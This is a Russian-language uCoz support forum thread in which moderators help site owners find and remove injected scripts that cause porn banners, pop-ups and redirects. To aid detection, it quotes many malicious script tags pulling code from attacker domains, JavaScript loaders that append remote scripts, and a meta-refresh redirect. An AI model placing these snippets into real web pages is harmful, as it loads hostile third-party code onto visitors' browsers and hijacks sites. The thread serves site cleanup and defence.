Модератор форума: Yuri_G  
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если на вашем сайте появились порнобаннеры (порнобаннеры, всплывающая реклама, окна или переброс)
Если на вашем сайте появились порнобаннеры
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1 | 15:57:08
Если на вашем сайте постоянные перебросы на другие сайты или появляется куча всплывающих рекламных баннеров, порнобаннеров, то вы должны проверить код страниц на наличие следующих скриптов:

Код
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/hvuz2754blb414j/niucee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/eipt4uu8dbovggv/niuggcee.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/1ca1t7akhf87zrc/flashsiteru.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/af6arwcjnknnb15/menu.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/ud3ne5xe8dcre8u/topbottom.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/kuejhhvopk6nw6z/mysql.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/g5zffknmr8da4tp/update.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4lgd2g170q96tq3/menu-v2.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/4f9eakzpj17n2yw/shapka.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/tnwyduomjbcsxzm/opapo.txt"></script>
<script type="text/javascript" src="https://dl.dropboxusercontent.com/s/207odofje1uzdl5/orororo.txt"></script>
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/98vihkxfbix863weu7zv9wqxjxhbbdh'></script>
<script type="text/javascript" src="http://nativevat.hol.es/rases.txt"></script>
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Актуальные на данный момент и самые распространенные эти скрипты

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://bobrilla.com/7h4p5qn4qhr8ee1ywr1nh01af3d31nbp'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://iqmasa.ru/6rzofz8uuc28ef8pehs6rx5nbidd8hra473w3yk0c1n9d39'></script>

Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://fasterdir.ru/8v0n2hh3me45jvyxrtdyc4164r61v4ut'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://omirevovne.ru/739tqn6t0d66blax8ijp5g164r61v4ut'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43"></script>


Код
<script language="JavaScript" src="http://gocash.ws/js/slider.php?id=51"></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobatori.com/6h3mo39hhqx8pibnjyshzo13skikuus5'></script>


Код
<script language='javascript' type='text/javascript' src='http://omirevovne.ru/55zgn5x6ihj88voak3xatwx61o2o28l'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8mi9nn0te6q68tjygr5vm573z85xk4lzw89gq7udb51xh8l'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://tsingera.ru/5easame6c5z7eb11wv3tp0164r61v4ut'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/6mg4oc9iyoi50h5tcwiudp6yfoe9gnd5e53tyz991m51k05'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/9bg8m0fsumq6pg79dp5ikt8sy9lxik40i89gq7udb51xjt1'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/7s0qxmmi2365xqgf6si4b17klvgtdyvrm5ex2ij7pdg5jet'></script>


Код
<script async charset='UTF-8' language='javascript' type='text/javascript' src='http://omirevovne.ru/8jqhrtj5gcy538xp6e6s7h8nepubdfejg5vjptg5p0eti11'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://chicop.ru/68sb0mshp9b78t1epj44r8zi8bjocb9'></script>


Код
<script language='javascript' charset='UTF-8' type='text/javascript' src='http://mobmas.ru/s/948'></script>


Код

<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?818010=LmcuKHw4NjU5MTM-KWdrbm5oaG0';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>
<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://knjjiiyqj.about-home.info' + '/?823389=KWApL3s_MTI-NjQ5LmBsaWlvb2U';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>



Как удалить:

1) Код как правило внедряется в шаблоны Страницы сайта. Модуль новости (все шаблоны) но могут быть варианты. Иногда код внедряется во все шаблоны сайта.
Прописывается в верхней части шаблона или в самом низу. Реже встречается в футере (глобальный блок Нижняя часть сайта)

2) Для удаления нужно воспользоваться функцией Быстрой замены. Для этого надо пройти в панель управления - Дизайн - Управление дизайном - Быстрая замена - В поле "Что заменить" вставляете скрипт (даже если внедрено много скриптов лучше удалять по одному) - Поле на что изменить оставляете пустым и производите замену во всех действующих модулях
Если скриптов много внедрено, можно попробовать многострочную замену по той же схеме
3) После очистки сайта от внедренного кода нужно обязательно сменить пароль uID профиля, которым администрируете сайт. Инструкция по изменению пароля находится тут //forum.ucoz.ru/forum/45-52299-1
4) Если после изменения uID пароля на новый сложный у вас снова и снова возникает проблема внедрения чужеродного кода, то выполните следующие инструкции:
1) создайте нового пользователя в панели управления сайтом: задайте ему Логин и сложнейший пароль
2) дайте созданному пользователю права администратора, а у бывшего uID профиля, которым администрировали сайт заберите права и переведите его в низшую группу
3) в общих настройках сайта поставьте старый Вид кнопки uID авторизации и далее администрируйте сайт локально
5) Если локальный способ администрирования для вас не подходит, то создайте в системе ещё один uID профиль, на котором не будет сайтов и прав управления ни одним из сайтов. И новый созданный профиль используйте для авторизации на сайтах системы uCoz с uID авторизацией. А uID профилем, которым вы администрируете сайт или сайты заходите только к себе на сайты и более никуда. И поставьте на uID пароль администратора сайта сложнейший пароль!
6) Заберите права доступа к админ бару другим администраторам и модераторам вашего сайта. не пускайте никого в панель управления сайтом
7) Будьте внимательны к письмам, которые приходят на вашу почту. Часто мошенники имитируют письма от вебсервиса uCoz, в которых просят вас пройти или верификацию или пройти по ссылкам, также просят ввод ваших данных (вебтоп пароль и пароль uID профиля или секретный вопрос и ответ). Если вы сомневаетесь в письме, которое вам пришло от имени сервиса, вы можете всегда спросить или на форуме в этой теме //forum.ucoz.ru/forum/45-46950-1 или перешлите его сразу на адрес abuse@ucoz.ru
Будьте всегда бдительны и следите за темой //forum.ucoz.ru/forum/45-35739-1


Если вы вообще ничего не поняли, но проблема появления всплывающих порнобаннеров и переброски на чужие сайты с вашего у вас существует, то при обращении в эту тему вы должны дать ссылку на свой сайт, дать ссылку на сайт куда перебрасывает (если есть переброс), а так же указать происходит это под логином или под гостем

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 166 | 14:56:35
Сико, нет. это верхняя часть сайта. там в списке есть ещё слово первый контейнер. нажмите на слово первый контейнер

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Сико
Сообщений: 6
Репутация: 0

Сообщение # 167 | 20:23:34
мм...

Добавлено (15 Май 2014, 20:23:34)
---------------------------------------------
webanetСделал так как вы сказали, не помогло...(((( Панель управления - дизайн - управление дизайном - глобальные блоки - первый контейнер - на открывшейся странице удалите весь код, который там есть и сохраните пустую страницу. далее. панель управления - настройки - общие настройки - дизайн сайта (третья настройка сверху) - поставьте галку на Обновить текущий дизайн во всех используемых модулях - внизу сохраните.

Посмотрите пожалуйста мой сайт :(( !!! Infoworld.kz

webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 168 | 20:28:00
Сико, вы определитесь для начала на каком сайте проблема. в прошлый раз вы заявляли, что проблема на этом сайте http://arkag.ucoz.ru/ он очищен. теперь проблема на другом?
теперь вы выставляете другой сайт. на втором какая проблема у вас? вы можете нормально писать?

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
brat3
Сообщений: 18
Репутация: 0

Сообщение # 169 | 10:09:32
Здравствуйте! Подскажите как убрать баннеры внизу сайта? Не могу найти где эти коды находятся. Сайт www.sharing-sat.ru
Прикрепления: 5403695.png (118.8 Kb)
Сообщение отредактировал brat3 - Пятница, 16 Май 2014, 10:10:18
$Vladimir$
Сообщений: 7465
Репутация: 1053

Сообщение # 170 | 10:53:19
brat3, лечите браузер и свой компьютер. Возможно одно из установленных вами расширений транслирует вам рекламу.
Сико
Сообщений: 6
Репутация: 0

Сообщение # 171 | 15:10:32
webanet Вы просто зайдите пожалуйста в этот сайт- infoworld.kz! Видите там рекламный баннер в правом верхнем углу, вот это и есть проблема!!! А это http://arkag.ucoz.ru/ всего лишь было скопирована с архива форума как пример...
$Vladimir$
Сообщений: 7465
Репутация: 1053

Сообщение # 172 | 16:39:34
Сико, это системный баннер. Оплатить отключение, вы можете выбрав услугу в панели управления.
Сико
Сообщений: 6
Репутация: 0

Сообщение # 173 | 17:20:21
$Vladimir$ а бесплатно никак!?)
$Vladimir$
Сообщений: 7465
Репутация: 1053

Сообщение # 174 | 17:51:52
Сико, только за 2.99$ месяц.
kuper3667
Сообщений: 5
Репутация: 0

Сообщение # 175 | 00:26:27
HELP!!!! Перепробовал всё что написано по теме по удалению чужой рекламы и перенаправлению на чужой сайт и всё БЕЗ РЕЗУЛЬТАТА!!! На свой сайт http://tamada-lviv.ucoz.com невозможно зайти ни с админки ни по другому - сразу перенаправляет на сайт: http://www.skandar.ru/ трое суток промучился с поиском чужеродных скриптов в теле сайта, и выдохся....
На другом моём сайте tamada-lviv.ucoz.ua на пол-секунды выскакивает какой-то огромный рекламный банер посреди страницы и сразу включается перенаправление на чужой сайт: http://nvqw4zl2nnqtembrgqxgg33n.omg5.ru/ ПОМОГИТЕ ПОЖАЛУЙСТА!!!!!
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 176 | 00:34:06
kuper3667, зайдите в панель управления по адресу http://tamada-lviv.ucoz.com/admin
далее. панель управления - дизайн - управление дизайном - быстрая замена -

Режим замены: многострочный

Опции замены:
замену в глобальных блоках и заменять без учета регистра букв

Модули: поставьте галки на все модуля

далее в поле что заменить вставляете

Код
<meta http-equiv="refresh" content="1;URL=http://www.skandar.ru/" />


поле на что заменить оставляете пустым и производите замену.

далее тоже самое в настройках быстрой замены

в поле что заменить вставляете

Код
<script type="text/javascript">
  (function(w) {
  var script = document.createElement('script');
  var i = setInterval(function() {
  if (typeof w.document.body !== 'undefined') {
  script.src = 'http://ybxvkptrprfb.their-culture.info' + '/?660618=_rf--Kzo5uXp4ePu-be4vbu4sw';
  w.document.body.appendChild(script);
  clearInterval(i);
  }
  }, 200);
})(window);
</script>


поле на что заменить оставляете пустым и производите замену

после очистки сменить все пароли. пароль на uid профиль поставить максимально сложный

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 177 | 00:39:06
kuper3667, по сайту tamada-lviv.ucoz.ua

входите в панель управления по адресу tamada-lviv.ucoz.ua/admin

далее дизайн - управление дизайном - быстрая замена - настройки те же, что я выложила выше

в поле что заменить вставляете

Код
<script language="javascript" src="./js.php?s=43"></script><script language="javascript" src="http://golink2.ru9.biz/js/back.php?id=43">


поле на что заменить оставляете пустым и производите замену во всех модулях. после очистки сменить все пароли

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
kuper3667
Сообщений: 5
Репутация: 0

Сообщение # 178 | 03:42:09
Доброго времни суток уважаемая Webanet!
Нижайший поклон и огромное спасибо за оперативную профессиональную помощь в решении вопроса... НО
УВЫ...если по второму сайту http://tamada-lviv.ucoz.ua/ следуя Вашим
инструкциям всё исправил с первого раза, то по первому сайту, http://tamada-lviv.ucoz.com даже после долгих танцев с бубном, ничего не получилось, всё то же перенаправление на чужой сайт http://www.skandar.ru/ и на все попытки замены указаных Вами кодов выскакивает табличка: Не сделано ни одной замены Проверьте правильность заменяемого кода
Все операции делал согласно Вашим инструкциям, Если не трудно помогите мне ещё разочек
Заранее спасибо за помощь. С уважением Сергей Куприенко
Сообщение отредактировал kuper3667 - Суббота, 17 Май 2014, 03:42:39
Dolor
Сообщений: 172
Репутация: 160

Сообщение # 179 | 06:06:16
kuper3667, Вам нужно удалить данный код
Код

<!-- <block10> -->
<div class="boxTable"><h1 class="boxTitle"><!-- <bt> --><!--<s3199>-->Міні-чат<!--</s>--><!-- </bt> --></h1><div class="boxContent"><!-- <bc> -->$CHAT_BOX$
<head> <meta http-equiv="refresh" content="1;URL=http://www.skandar.ru/" /> </head><!-- </bc> --></div></div><div class="clear"></div>
<!-- </block10> -->
в Панель управления/Управление дизайном/Первый контейнер
kuper3667
Сообщений: 5
Репутация: 0

Сообщение # 180 | 16:36:28
Ура!!! Всё получилось всем спасибо за помошь! wink
Сообщество uCoz » Мастерская uCoz » Безопасность сайта » Если на вашем сайте появились порнобаннеры (порнобаннеры, всплывающая реклама, окна или переброс)
Поиск: